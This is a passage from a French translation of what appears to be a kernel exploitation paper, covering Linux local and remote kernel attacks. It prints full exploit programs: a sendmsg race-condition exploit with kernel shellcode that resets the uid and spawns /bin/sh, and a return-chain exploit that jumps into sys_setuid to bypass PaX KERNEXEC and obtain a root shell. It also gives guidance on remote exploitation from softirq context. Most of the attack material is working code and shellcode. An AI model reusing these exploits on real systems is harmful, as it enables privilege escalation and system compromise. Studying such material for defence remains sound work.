fatal_errno("mmap", 1);
memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)-1);
PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid());
PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111);
PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit);
}
< / >
Le reste de l'exploit devrait s'expliquer de lui-même et nous allons vous
montrer le code dans un petit moment. Notez la baisse de priorité dans
start_thread_priority ("nice(19)"), pour qu'on ait plus de chance de gagner
la compétition (la variable "glob_race" fonctionne juste comme un verroux
pour le thread principal - voir "race_func()").
Comme dernier commentaire, nous avons utilisé l'instruction "rdtsc" (read
time stamp counter) pour calculer le temps écoulé pendant qu'on tente de
gagner la compétition. Si cet interval est grand, il est assez probable
qu'un ordonnancement ai tu lieu. La tâche de "retirer toutes les pages"
(dans le cache de page), qui nous permettra d'être sur de terminer sur une
demande de page en dehors des bornes, n'est pas implémentée dans le code
(ça aurait été facile à faire) et est laissée en exercice à qui voudra
lancer l'exploit. Puisque nous devons créer le fichier avec les données
contrôlées, ces pages finissent par être dans le cache. Nous devons alors
forcer le sous-système à les retirer. Il ne vous devrait pas être
difficile, si vous avez suivi la discussion jusque ici, d'effectuer des
tâches qui "retire les pages nécessaires" (vers le dique) ou d'ajouter du
code pour l'automatiser. (indice : beaucoup de find & cat * > /dev/null est
une idée).
Dernier mais pas des moindres, puisque la fonction vulnérable est dans
"compac.c", qui est le "mode de compatibilité" pour lancer des binaires
32bits, souvenez-vous de compiler l'exploit avec le flag -m32.
< stuff/expl/linux/sracemsg.c >
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sched.h>
#include <sys/socket.h>
#define PAGE_SIZE 0x1000
#define MMAP_ADDR ((void*)0x20000000)
#define MMAP_NULL ((void*)0x00000000)
#define PAGE_NUM 128
#define PATCH_CODE(base,offset,value) \
*((uint32_t *)((char*)base + offset)) = (uint32_t)(value)
#define fatal_errno(x,y) { perror(x); exit(y); }
struct cmsghdr *g_ancillary;
/* global shared value to sync threads for race */
volatile static int glob_race = 0;
#define UID_OFFSET 1
#define STACK_OFF_OFFSET 69
#define CODE_OFF_OFFSET 95
char kernel_stub[] =
"\xbe\xe8\x03\x00\x00" // mov $0x3e8,%esi
"\x65\x48\x8b\x04\x25\x00\x00\x00\x00" // mov %gs:0x0,%rax
"\x31\xc9" // xor %ecx,%ecx (15
"\x81\xf9\x2c\x01\x00\x00" // cmp $0x12c,%ecx
"\x74\x1c" // je 400af0
<stub64bit+0x38>
"\x8b\x10" // mov (%rax),%edx
"\x39\xf2" // cmp %esi,%edx
"\x75\x0e" // jne 400ae8
<stub64bit+0x30>
"\x8b\x50\x04" // mov 0x4(%rax),%edx
"\x39\xf2" // cmp %esi,%edx
"\x75\x07" // jne 400ae8
<stub64bit+0x30>
"\x31\xd2" // xor %edx,%edx
"\x89\x50\x04" // mov %edx,0x4(%rax)
"\xeb\x08" // jmp 400af0
<stub64bit+0x38>
"\x48\x83\xc0\x04" // add $0x4,%rax
"\xff\xc1" // inc %ecx
"\xeb\xdc" // jmp 400acc
<stub64bit+0x14>
"\x0f\x01\xf8" // swapgs (54
"\x48\xc7\x44\x24\x20\x2b\x00\x00\x00" // movq $0x2b,0x20(%rsp)
"\x48\xc7\x44\x24\x18\x11\x11\x11\x11" // movq $0x11111111,0x18(%rsp)
"\x48\xc7\x44\x24\x10\x46\x02\x00\x00" // movq $0x246,0x10(%rsp)
"\x48\xc7\x44\x24\x08\x23\x00\x00\x00" // movq $0x23,0x8(%rsp) /* 23
32-bit , 33 64-bit cs */
"\x48\xc7\x04\x24\x22\x22\x22\x22" // movq $0x22222222,(%rsp)
"\x48\xcf"; // iretq
void eip_do_exit(void)
{
char *argvx[] = {"/bin/sh", NULL};
printf("uid=%d\n", geteuid());
execve("/bin/sh", argvx, NULL);
exit(1);
}
/*
* This function maps stack and code segment
* - 0x0000000000000000 - 0x0000000000001000 (future code space)
* - 0x0000000011110000 - 0x0000000011112000 (future stack space)
*/
int make_kjump(void)
{
void *stack_map = mmap((void*)(0x11110000), 0x2000,
PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0, 0);
if(stack_map == MAP_FAILED)
fatal_errno("mmap", 1);
void *shellcode_map = mmap(MMAP_NULL, 0x1000,
PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, 0,
0);
if(shellcode_map == MAP_FAILED)
fatal_errno("mmap", 1);
memcpy(shellcode_map, kernel_stub, sizeof(kernel_stub)-1);
PATCH_CODE(MMAP_NULL, UID_OFFSET, getuid());
PATCH_CODE(MMAP_NULL, STACK_OFF_OFFSET, 0x11111111);
PATCH_CODE(MMAP_NULL, CODE_OFF_OFFSET, &eip_do_exit);
}
int start_thread_priority(int (*f)(void *), void* arg)
{
char *stack = malloc(PAGE_SIZE*4);
int tid = clone(f, stack + PAGE_SIZE*4 -4,
CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VM, arg);
if(tid < 0)
fatal_errno("clone", 1);
nice(19);
sleep(1);
return tid;
}
int race_func(void* noarg)
{
printf("[*] thread racer getpid()=%d\n", getpid());
while(1)
{
if(glob_race)
{
g_ancillary->cmsg_len = 500;
return;
}
}
}
uint64_t tsc()
{
uint64_t ret;
asm volatile("rdtsc" : "=A"(ret));
return ret;
}
struct tsc_stamp
{
uint64_t before;
uint64_t after;
uint32_t access;
};
struct tsc_stamp stamp[128];
inline char *flat_file_mmap(int fs)
{
void *addr = mmap(MMAP_ADDR, PAGE_SIZE*PAGE_NUM, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_FIXED, fs, 0);
if(addr == MAP_FAILED)
fatal_errno("mmap", 1);
return (char*)addr;
}
void scan_addr(char *memory)
{
int i;
for(i=1; i<PAGE_NUM-1; i++)
{
stamp[i].access = (uint32_t)(memory + i*PAGE_SIZE);
uint32_t dummy = *((uint32_t *)(memory + i*PAGE_SIZE-4));
stamp[i].before = tsc();
dummy = *((uint32_t *)(memory + i*PAGE_SIZE));
stamp[i].after = tsc();
}
}
/* make code access first 32 pages to flush page-cluster */
/* access: 0x20000000 - 0x2000XXXX */
void start_flush_access(char *memory, uint32_t page_num)
{
int i;
for(i=0; i<page_num; i++)
{
uint32_t dummy = *((uint32_t *)(memory + i*PAGE_SIZE));
}
}
void print_single_result(struct tsc_stamp *entry)
{
printf("Accessing: %p, tsc-difference: %lld\n", entry->access,
entry->after - entry->before);
}
void print_result()
{
int i;
for(i=1; i<PAGE_NUM-1; i++)
{
printf("Accessing: %p, tsc-difference: %lld\n", stamp[i].access,
stamp[i].after - stamp[i].before);
}
}
void fill_ancillary(struct msghdr *msg, char *ancillary)
{
msg->msg_control = ((ancillary + 32*PAGE_SIZE) - sizeof(struct
cmsghdr));
msg->msg_controllen = sizeof(struct cmsghdr) * 2;
/* set global var thread race ancillary data chunk */
g_ancillary = msg->msg_control;
struct cmsghdr* tmp = (struct cmsghdr *)(msg->msg_control);
tmp->cmsg_len = sizeof(struct cmsghdr);
tmp->cmsg_level = 0;
tmp->cmsg_type = 0;
tmp++;
tmp->cmsg_len = sizeof(struct cmsghdr);
tmp->cmsg_level = 0;
tmp->cmsg_type = 0;
tmp++;
memset(tmp, 0x00, 172);
}
int main()
{
struct tsc_stamp single_stamp = {0};
struct msghdr msg = {0};
memset(&stamp, 0x00, sizeof(stamp));
int fd = open("/tmp/file", O_RDWR);
if(fd == -1)
fatal_errno("open", 1);
char *addr = flat_file_mmap(fd);
fill_ancillary(&msg, addr);
munmap(addr, PAGE_SIZE*PAGE_NUM);
close(fd);
make_kjump();
sync();
printf("Flush all pages and press a enter:)\n");
getchar();
fd = open("/tmp/file", O_RDWR);
if(fd == -1)
fatal_errno("open", 1);
addr = flat_file_mmap(fd);
int t_pid = start_thread_priority(race_func, NULL);
printf("[*] thread main getpid()=%d\n", getpid());
start_flush_access(addr, 32);
int sc[2];
int sp_ret = socketpair(AF_UNIX, SOCK_STREAM, 0, sc);
if(sp_ret < 0)
fatal_errno("socketpair", 1);
single_stamp.access = (uint32_t)g_ancillary;
single_stamp.before = tsc();
glob_race =1;
sendmsg(sc[0], &msg, 0);
single_stamp.after = tsc();
print_single_result(&single_stamp);
kill(t_pid, SIGKILL);
munmap(addr, PAGE_SIZE*PAGE_NUM);
close(fd);
return 0;
}
< / >
------[ 3 - Scénarios avancés
Dans une tentative de rendre notre tractation sur le noyau "complète", nous
allons discuter de deux "scénarios avancés" : un exploit sur la pile
capable de contourner PaX [18] KERNEXEC et une division espace
utilisateur/noyau et un exploit distant efficace, les deux pour le noyau
Linux.
---[ 3.1 - PaX KERNEXEC & espaces utilisateurs/noyau séparés
L'option PaX KERNEXEC émule un bits no-exec pour les pages du noyau sur les
architectures qui ne l'ont pas (x86), tandis que la séparation des espaces
utilisateurs et noyau bloque l'approche "retour-en-espace-utilisateur" que
nous avons énormément expliquée et utilisée plus haut. Avec ces deux
protections activées, nous faisons en gros face au même scénario rencontré
quand nous avons discuté des envoronnements Solaris/SPARC, nous n'entrerons
donc pas dans les détails ici (pour éviter de dupliquer nos tractations).
Cette fois, nous n'avons pas de zone mémoire exécutable et contrôlable (pas
de tableau u_psarg), et nous allons présenter une technique différence qui
ne nécessite pas d'en avoir. Même si l'idée derrière tout ça s'applique
bien à tout environnement no-exec et à espace utilisateur/noyau séparés,
comme nous le verrons bientôt, cette approche est assez spécifique à
l'architecture (gestion de la pile et implémentation des appels et retours
de fonctions) et au système d'exploitation (gestion des permissions).
De plus, elle requiert une connaissance précise de l'agencement du .text du
noyau qui tourne, et donc au moins une image lisible (c'est la situation
par défaut sur beaucoup de distributions, sur Solaris, et sur d'autres
systèmes que nous avons testés) ou une grosse ou contrôlable fuite
d'information.
L'idée derrière ça n'est pas très différente de celle derrière
"ret-into-libc" ou d'autres approches d'exploitations en mode utilisateur
qui tentent de contourner la non-exécution du tas et de la pile : comme on
le sait, Linux associe des permissions à chaque processus via des valeurs
numériques :
< linux-2.6.15/include/linux/sched.h >
struct task_struct {
[...]
/* process credentials */
uid_t uid,euid,suid,fsuid;
gid_t gid,egid,sgid,fsgid;
[...]
}
< / >
Parfois, un processus à besoin d'élever ses permissions (ou de les quitter,
pour des raisons de sécurité), le noyau exporte donc des syscall pour le
faire. L'un de ceux-ci est sys_setuid :
< linux-2.6.15/kernel/sys.c >
asmlinkage long sys_setuid(uid_t uid)
{
int old_euid = current->euid;
int old_ruid, old_suid, new_ruid, new_suid;
int retval;
retval = security_task_setuid(uid, (uid_t)-1, (uid_t)-1,
LSM_SETID_ID);
if (retval)
return retval;
old_ruid = new_ruid = current->uid;
old_suid = current->suid;
new_suid = old_suid;
if (capable(CAP_SETUID)) { [1]
if (uid != old_ruid && set_user(uid, old_euid != uid) < 0)
return -EAGAIN;
new_suid = uid;
} else if ((uid != current->uid) && (uid != new_suid))
return -EPERM;
if (old_euid != uid)
{
current->mm->dumpable = suid_dumpable;
smp_wmb();
}
current->fsuid = current->euid = uid; [2]
current->suid = new_suid;
key_fsuid_changed(current);
proc_id_connector(current, PROC_EVENT_UID);
return security_task_post_setuid(old_ruid, old_euid, old_suid,
LSM_SETID_ID);
}
< / >
Comme on peut le voir, les vérifications de "sécurité" (en dehors des
points d'entrées LSM security_*) sont effectués en [1] et ensuite, en [2]
les valeurs de fsuid et euid sont mises à la valeur passée à la fonction.
sys_setuid est un appel système, donc, à cause des conventions sur les
appels systèmes, les paramètres sont passés dans les registres. Plus
précisément, "uid" sera passé dans "%ebx". Lidée est si simple (et pas
différente de "ret-into-libc" [19] ou d'autres techniques d'évasions de
protections de pages utilisateur comme [20]), si nous arrivons à avoir un 0
dans "ebx" et de sauter directement au milieu de sys_setuid (et juste après
les vérifications) nous devrions être capable de changer le "euid" et le
"fsuid" de notre processus et donc, d'élever nos privilèges.
Regardons le désassemblage de sys_setuid pour en avoir une meilleure
idée :
[...]
c0120fd0: b8 00 e0 ff ff mov $0xffffe000,%eax [1]
c0120fd5: 21 e0 and %esp,%eax
c0120fd7: 8b 10 mov (%eax),%edx
c0120fd9: 89 9a 6c 01 00 00 mov %ebx,0x16c(%edx) [2]
c0120fdf: 89 9a 74 01 00 00 mov %ebx,0x174(%edx)
c0120fe5: 8b 00 mov (%eax),%eax
c0120fe7: 89 b0 70 01 00 00 mov %esi,0x170(%eax)
c0120fed: 6a 01 push $0x1
c0120fef: 8b 44 24 04 mov 0x4(%esp),%eax
c0120ff3: 50 push %eax
c0120ff4: 55 push %ebp
c0120ff5: 57 push %edi
c0120ff6: e8 65 ce 0c 00 call c01ede60
c0120ffb: 89 c2 mov %eax,%edx
c0120ffd: 83 c4 10 add $0x10,%esp [3]
c0121000: 89 d0 mov %edx,%eax
c0121002: 5e pop %esi
c0121003: 5b pop %ebx
c0121004: 5e pop %esi
c0121005: 5f pop %edi
c0121006: 5d pop %ebp
c0121007: c3 ret
En [1], la task_struct du processus courant est prise depuis la valeur de
la pile noyau. En [2], la valeur de %ebx est copiée dans les membres "euid"
et "fsuid" de la structure. Nous avons notre adresse de retour (qui est
[1]). À ce point, nous avons besoin de forcer %ebx à valoir 0 (si nous ne
sommes pas assez chanceux pour qu'il soit déjà à 0).
Pour montrer cette vulnérabilité, nous avons utilisé le débordement de
tampon localement exploitatble du driver dummy.c (commande
KERN_IOCTL_STORE_CHUNK ioctl()). Puisque c'est un débordement dans la pile,
nous pouvons chainer de multiples adresses de retour, préparant un faux
cadre de pile que nous contrôlons totalement. Nous avons besoin de :
- %ebx à 0 : la façon la plus facile de le faire est de trouver un pop
%ebx suivi d'un ret [nous contrôlons la pile] :
ret-to-pop-ebx:
[*] c0100cd3: 5b pop %ebx
[*] c0100cd4: c3 ret
Nous n'avons pas besoin d'un pop %ebx suivi immédiatement par un ret,
nous pourrions avoir une séquence de pops avant le ret (et, parmis eux,
notre pop %ebx). C'est juste une histoire de préparer la bonne place du
zéro dans la séquence des pop (pour faire simple, ajouter une séquences
de zéros sur 4 octets pour chaque pop entre celui d'%ebx et le ret).
- L'adresse de retour où sauter, qui est l'adresse de [1] montrée plus
haut
- un bourrage de "ret-to-ret" pour faire attention au trou dans la pile
créé en [3] par l'épiloque de la fonction (addition d'%esp et le
dépilement des registres) :
ret-to-ret pad:
[*] 0xffffe413 c3 ret
(Nous aurions pu utiliser le ret précédent aussi, celui-ci est dans la
page vsyscall et a été utilisé dans d'autres exploits où nous n'avions
pas besoin de beaucoup d'infos sur le .text du noyau... il a survécu
ici :) )
- L'adresse d'une instruction iret pour retourner en espace utilisateur
(et un cadre de pile fait main aussi, comme décrit précédement quand on
discutait de l'exploitation "basée sur la pile") :
ret-to-iret:
[*] c013403f: cf iret
Mis tout ensemble, voici comment notre "pile" devrait ressembler pour
effectuer une exploitation correcte :
adresses basses
+----------------+
| ret-to-ret pad |
| ret-to-ret pad |
| .............. |
| ret-to-pop ebx |
| 0x00000000 |
| ret-to-setuid |
| ret-to-ret pad |
| ret-to-ret pad |
| ret-to-ret pad |
| ............. |
| ............. |
| ret-to-iret |
| fake-iret-frame|
+----------------+
adresses hautes
Une fois correctement revenu en espace utilisateur, nous avons réussi a
modifier les valeurs de "fsuid" et "euid", mais notre "ruid" est toujours
celui original. À ce point, nous nous réexécutons nous-même pour avoit
euid=0 et ensuite, lançons le shell. Voici le code :
< stuff/expl/grsec_noexec.c >
#include <sys/ioctl.h>
#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include "dummy.h"
#define DEVICE "/dev/dummy"
#define NOP 0x90
#define PAGE_SIZE 0x1000
#define STACK_SIZE 8192
//#define STACK_SIZE 4096
#define STACK_MASK ~(STACK_SIZE -1)
/* patch it at runtime */
#define ALTERNATE_STACK 0x00BBBBBB
/*2283d*/
#define RET_INTO_RET_STR "\x3d\x28\x02\x00"
#define DUMMY RET_INTO_RET_STR
#define ZERO "\x00\x00\x00\x00"
/* 22ad3 */
#define RET_INTO_POP_EBX "\xd3\x2a\x02\x00"
/* 1360 */
#define RET_INTO_IRET "\x60\x13\x00\x00"
/* 227fc */
#define RET_INTO_SETUID "\xfc\x27\x02\x00"
// do_eip at .text offset (rivedere)
// 0804864f
#define USER_CODE_OFFSET "\x4f\x86\x04\x08"
#define USER_CODE_SEGMENT "\x73\x00\x00\x00"
#define USER_EFLAGS "\x46\x02\x00\x00"
#define USER_STACK_OFFSET "\xbb\xbb\xbb\x00"
#define USER_STACK_SEGMENT "\x7b\x00\x00\x00"
/* sys_setuid - grsec kernel */
/*
227fc: 89 e2 mov %esp,%edx
227fe: 89 f1 mov %esi,%ecx
22800: 81 e2 00 e0 ff ff and $0xffffe000,%edx
22806: 8b 02 mov (%edx),%eax
22808: 89 98 50 01 00 00 mov %ebx,0x150(%eax)
2280e: 89 98 58 01 00 00 mov %ebx,0x158(%eax)
22814: 8b 02 mov (%edx),%eax
22816: 89 fa mov %edi,%edx
22818: 89 a8 54 01 00 00 mov %ebp,0x154(%eax)
2281e: c7 44 24 18 01 00 00 movl $0x1,0x18(%esp)
22825: 00
22826: 8b 04 24 mov (%esp),%eax
22829: 5d pop %ebp
2282a: 5b pop %ebx
2282b: 5e pop %esi
2282c: 5f pop %edi
2282d: 5d pop %ebp
2282e: e9 ef d5 0c 00 jmp efe22
<cap_task_post_setuid>
22833: 83 ca ff or $0xffffffff,%edx
22836: 89 d0 mov %edx,%eax
22838: 5f pop %edi
22839: 5b pop %ebx
2283a: 5e pop %esi
2283b: 5f pop %edi
2283c: 5d pop %ebp
2283d: c3 ret
*/
/* pop %ebx, ret grsec
*
* ffd1a884: 5b pop %ebx
* ffd1a885: c3 ret
*/
char *g_prog_name;
char kern_noexec_shellcode[] =
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_POP_EBX
ZERO
RET_INTO_SETUID
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_POP_EBX
RET_INTO_POP_EBX
RET_INTO_POP_EBX
RET_INTO_POP_EBX
RET_INTO_POP_EBX
RET_INTO_POP_EBX
RET_INTO_POP_EBX
RET_INTO_POP_EBX
RET_INTO_RET_STR
RET_INTO_RET_STR
RET_INTO_IRET
USER_CODE_OFFSET
USER_CODE_SEGMENT
USER_EFLAGS
USER_STACK_OFFSET
USER_STACK_SEGMENT
;
void re_exec(int useless)
{
char *a[3] = { g_prog_name, "exec", NULL };
execve(g_prog_name, a, NULL);
}
char *allocate_jump_stack(unsigned int jump_addr, unsigned int size)
{
unsigned int round_addr = jump_addr & 0xFFFFF000;
unsigned int diff = jump_addr - round_addr;
unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000;
char *map_addr = mmap((void*)round_addr,
len,
PROT_READ|PROT_WRITE,
MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,
0,
0);
if(map_addr == (char*)-1)
return NULL;
memset(map_addr, 0x00, len);
return map_addr;
}
char *allocate_jump_code(unsigned int jump_addr, void* code, unsigned int
size)
{
unsigned int round_addr = jump_addr & 0xFFFFF000;
unsigned int diff = jump_addr - round_addr;
unsigned int len = (size + diff + 0xFFF) & 0xFFFFF000;
char *map_addr = mmap((void*)round_addr,
len,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
0,
0);
if(map_addr == (char*)-1)
return NULL;
memset(map_addr, NOP, len);
memcpy(map_addr+diff, code, size);
return map_addr + diff;
}
inline void patch_code_4byte(char *code, unsigned int offset, unsigned int
value)
{
*((unsigned int *)(code + offset)) = value;
}
int main(int argc, char *argv[])
{
if(argc > 1)
{
int ret;
char *argvx[] = {"/bin/sh", NULL};
ret = setuid(0);
printf("euid=%d, ret=%d\n", geteuid(), ret);
execve("/bin/sh", argvx, NULL);
exit(1);
}
signal(SIGSEGV, re_exec);
g_prog_name = argv[0];
char *stack_jump =
allocate_jump_stack(ALTERNATE_STACK, PAGE_SIZE);
if(!stack_jump)
{
fprintf(stderr, "Exiting: mmap failed");
exit(1);
}
char *memory = malloc(PAGE_SIZE), *mem_orig;
mem_orig = memory;
memset(memory, 0xDD, PAGE_SIZE);
struct device_io_ctl *ptr = (struct device_io_ctl*)memory;
ptr->chunk_num = 9 + (sizeof(kern_noexec_shellcode)-1)/sizeof(struct
device_io_blk) + 1;
printf("Chunk num: %d\n", ptr->chunk_num);
ptr->type = 0xFFFFFFFF;
memory += (sizeof(struct device_io_ctl) + sizeof(struct device_io_blk) *
9);
/* copy shellcode */
memcpy(memory, kern_noexec_shellcode, sizeof(kern_noexec_shellcode)-1);
int i, fd = open(DEVICE, O_RDONLY);
if(fd < 0)
return 0;
ioctl(fd, KERN_IOCTL_STORE_CHUNK, (unsigned long)mem_orig);
return 0;
}
< / >
Comme nous l'avons dit, nous avons choisi les patches de sécurité PaX pour
Linux x86, mais certaines théories présentées fonctinonent autant dans
d'autres situations. Une approche d'exploitation légèrement différente a
été utilisée avec succès sous Solaris/SPARC. (Nous le laissons en
"exercice" au lecteur ;)).
---[ 3.2 - Exploitation noyau distante
Écrire un exploit noyau distant qui fonctionne et assez fiable est un
challenge amusant et intéressant. Continuant dans le "syle" de ce papier,
nous allons vous proposer ici une paire de techniques et de "notes" qui
nous ont permis de réussir d'écrire un exploit distant quasiment fiable,
indépendant de l'image et efficace.
Après le premier brouillon de ce papier, une paire de choses ont changé,
donc, quelques informations présentées ici peuvent être dépassées dans les
tout derniers noyaux (et versions de compilateurs), mais sont de toutes
façons des bonnes bases pour notre tractation (nous avons ajouté des notes
partout dans cette partie sur les changements et les mises à jours des
versions récentes du noyau linux).
Une paire d'idées présentées ici ont convergé vers un exploit distant réel
pour le débordement distant de tampon dans la pile noyau de madwifi [21],
que nous avons déjà publié [22], sans trop examiner les détails de
l'approche d'exploitation utilisée. Ce chapitre peut donc être vu comme une
introduction ou une extension à ce travail. Plus précisément, nous allons
couvrir ici les problèmes d'exploitations et les solutions quand on traite
de code s'exécutant dans un contexte d'interruption, ce qui est le cas de
la plupart du code relatifs au réseau (gestionnaire d'interruption,
softirq, ...) mais ce n'était pas le cas pour madwifi. Ces idées
s'appliquent aussi bien au contexte de thread.
La technique d'exploitations et la discussion se base sur un débordement de
tampon dans la pile pour la branche 2.6 des noyaux linux sur architecture
x86, mais nous pouvons réutiliser la plupart des conditions qui nous on
permis de contrôler le flux d'instructions.
------[ 3.2.1 - Le combat du réseau
Nous commençons par quelques considérations sur la typologie du code noyau
sur lequel on va travailler. La plupart de ce code s'exécute dans un
contexte d'interruption (et parfois dans un contexte de thread), nous avons
donc quelques "limitations" :
- Nous ne pouvons pas "retourner-en-espace-utilisateur" directement,
puisque nous n'avons pas de pointeur valide de tâche courante. De
plus, la plupart du temps, nous ne contrôlerons pas l'espace
d'adressage du processus utilisateur avec lequel on discute.
Néanmoins, on peut se baser sur quelques points "fixes", comme les
en-têtes ELF (en admettant qu'il n'y ait pas de randomisation du PIE /
.text sur la box distante)
- nous ne pouvons pas faire d'actions qui ferait dormir le chemin noyau
(par exemple, un accès fautif en mémoire)
- Nous ne pouvons pas faire d'appels systèmes directement
- Nous devons prendre en compte la gestions des ressources noyau,
puisque ce genre de code acquiert des verroux ou désactive des
pré-emptions. Nous devons les restaurer dans un état stable.
Logiquement, puisque nous sommes distants, nous n'avons aucune information
sur les structures ou les adresses du chemin noyau, donc, puisqu'une bonne
fuite d'information est souvent très improbable, on ne peut pas se baser
dessus.
Nous avons préparé un exemple fait main qui nous permettra d'introduire
toutes les techniques impliquées pour résoudre le problème qu'on vient
d'introduire. Nous avons choisi d'écrire un module de netfilter, puisqu'une
bonne partie du code noyau dépend dessus et qu'il est le cadre de travail
principal pour les modules tierce partie.
< stuff/drivers/linux/remote/dummy_remote.c >
#define MAX_TWSKCHUNK 30
#define TWSK_PROTO 37
struct twsk_chunk
{
int type;
char buff[12];
};
struct twsk
{
int chunk_num;
struct twsk_chunk chunk[0];
};
static int process_twsk_chunk(struct sk_buff *buff)
{
struct twsk_chunk chunks[MAX_TWSKCHUNK];
struct twsk *ts = (struct twsk *)((char*)buff->nh.iph +
(buff->nh.iph->ihl * 4));
if(ts->chunk_num > MAX_TWSKCHUNK) [1]
return (NF_DROP);
printk(KERN_INFO "Processing TWSK packet: packet frame n. %d\n",
ts->chunk_num);
memcpy(chunks, ts->chunk, sizeof(struct twsk_chunk) * ts->chunk_num); [2]
// do somethings..
return (NF_ACCEPT);
}
< / >
Nous avons un problème de signe en [1], qui lancera plus tard un
débordement de tampon en [2], en écrivant au dela du buffer "chunks". Comme
on vient de le dire, nous devons tout savoir sur les fonctions vulnérables,
c'est à dire, quand elles s'exécutent, sous quel "contexte", qui les
appelles, à quoi ressemblerait la pile, y-a-t-il des spinlock [NDT :
verroux] ou d'autres objets de synchronisation, ...
Un bon point de départ est de dumper une trace de la pile au moment de
l'appel de notre fonction :
#1 0xc02b5139 in nf_iterate (head=0xc042e4a0, skb=0xc1721ad0, hook=0, [1]
indev=0xc1224400, outdev=0x0, i=0xc1721a88,
okfn=0xc02bb150 <ip_rcv_finish>, hook_thresh=-2147483648)
at net/netfilter/core.c:89
#2 0xc02b51b9 in nf_hook_slow (pf=2, hook=1, pskb=0xc1721ad0, [2]
indev=0xc1224400, outdev=0x0, okfn=0xc02bb150 <ip_rcv_finish>,
hook_thresh=-2147483648) at net/netfilter/core.c:125
#3 0xc02baee3 in ip_rcv (skb=0xc1bc4a40, dev=0xc1224400, pt=0xc0399310,
orig_dev=0xc1224400) at net/ipv4/ip_input.c:348
#4 0xc02a5432 in netif_receive_skb (skb=0xc1bc4a40) at
net/core/dev.c:1657
#5 0xc024d3c2 in rtl8139_rx (dev=0xc1224400, tp=0xc1224660, budget=64)
at drivers/net/8139too.c:2030
#6 0xc024d70e in rtl8139_poll (dev=0xc1224400, budget=0xc1721b78)
at drivers/net/8139too.c:2120
#7 0xc02a5633 in net_rx_action (h=0xc0417078) at net/core/dev.c:1739
#8 0xc0118a75 in __do_softirq () at kernel/softirq.c:95
#9 0xc0118aba in do_softirq () at kernel/softirq.c:129 [3]
#10 0xc0118b7d in irq_exit () at kernel/softirq.c:169
#11 0xc0104212 in do_IRQ (regs=0xc1721ad0) at arch/i386/kernel/irq.c:110
#12 0xc0102b0a in common_interrupt () at current.h:9
#13 0x0000110b in ?? ()
Notre fonction vulnérable (comme n'importe quel autre détournement) est
appellée en série par nf_iterate [1], pendant le traitement d'une softirq
[3], via l'interface noyau de netfilter nf_look_slow [2]. Elle s'installe
dans la chaine INPUT et, donc, elle commence à traiter les paquets à chaque
fois qu'ils sont envoyé vers la box hôte, comme on peut le voir à [2] où pf
= 2 (PF_INET) et hook = 1 (NF_IP_LOCAL_IN).
Notre but final est d'exécuter un bout de code qui établira une connection
vers nous (ou lier un port à un shell, ou n'importe quelle sorte de
shellcode que vous préfereriez pour votre exploit). Essayer de l'exécuter
directement du noyau est évidement une idée douloureuse, nous allons donc
essayer d'hijacker un processus utilisateur (souvenez-vous que nous sommes
au sommet d'une softirq, nous n'avons aucune connaissance de ce qui est
vraiment en dessous de nous; ça pourrait tout autant être un thread noyau
une tâche qui idle, par exemple) comme victime, pour y injecter du code et
forcer le noyau à l'appeler plus tard, quand nous seront sorti d'un évément
asynchrone.
Ceci veut dire que nous avons besoin d'étapes intermédiaires entre le
moment où on prend le contrôle du flux au "moment du softirq" et
l'exécution depuis le processus utilisateur. Mais procédons par ordre,
d'abord, nous avons besoin de _commencer d'exécuter_ au moins un point
d'entrée dans notre shellcode.
Comme il est d'usage dans beaucoup d'exploits qui se battent contre la
randomisation d'adresses en l'absence de fuite d'informations, nous alons
chercher après une séquence jmp *%esp ou push reg/ret ou call reg, pour
commencer l'exécution depuis un endroit connu. Pour éviter de deviner les
bonnes valeur, un remplissage (style remplissage de nop) d'adresses
ret-into-ret peut être utilisé. Mais nous avons toujours besoin de trouver
ces opcodes dans un endroit "fixe" et connu.
La branche 2.6 des noyaux introduit une page fixe [*] pour le support
d'instruction "sysenter", la page "vsyscall" :
bfe37000-bfe4d000 rwxp bfe37000 00:00 0 [stack]
ffffe000-fffff000 ---p 00000000 00:00 0 [vdso]
Qui se trouve à une adresse fixe : 0xffffe000 - 0xfffff000.
[*] Au moment de publier, ceci n'est plus vrai sur les derniers noyaux,
puisque l'adresse de la page vsyscall est randomisée à partir des noyaux
2.6.18.
La page "vsyscall" est une bénédiction pour notre "point d'entrée" dans le
shellcode, puisque nous pouvons y localiser les opcodes requis [*] pour
commencer à s'exécuter :
(gdb) x/i 0xffffe75f
0xffffe75f: jmp *%esp
(gdb) x/i 0xffffe420
0xffffe420: ret
[*] Après avoir testé l'adresse de ces opcodes sur un grand nombre de
noyaux/compilateurs, nous avons découvert que partois, ils ne se trouvent
pas à l'endroit attendu, ou même, dans un cas, pas présent. Ça pourrait
être la seule partie de devinette à laquel on devrait faire face (en plus
de celui de la randomisation de vsyscall, comme on l'a dit dans la note
précédente), mais il y a (en fonction de la situation) d'autres
possibilités [début de l'image noyau fixe, .text fixe, ou "processus
courant" si nous sommes en dehors du contexte d'interruption, ...].
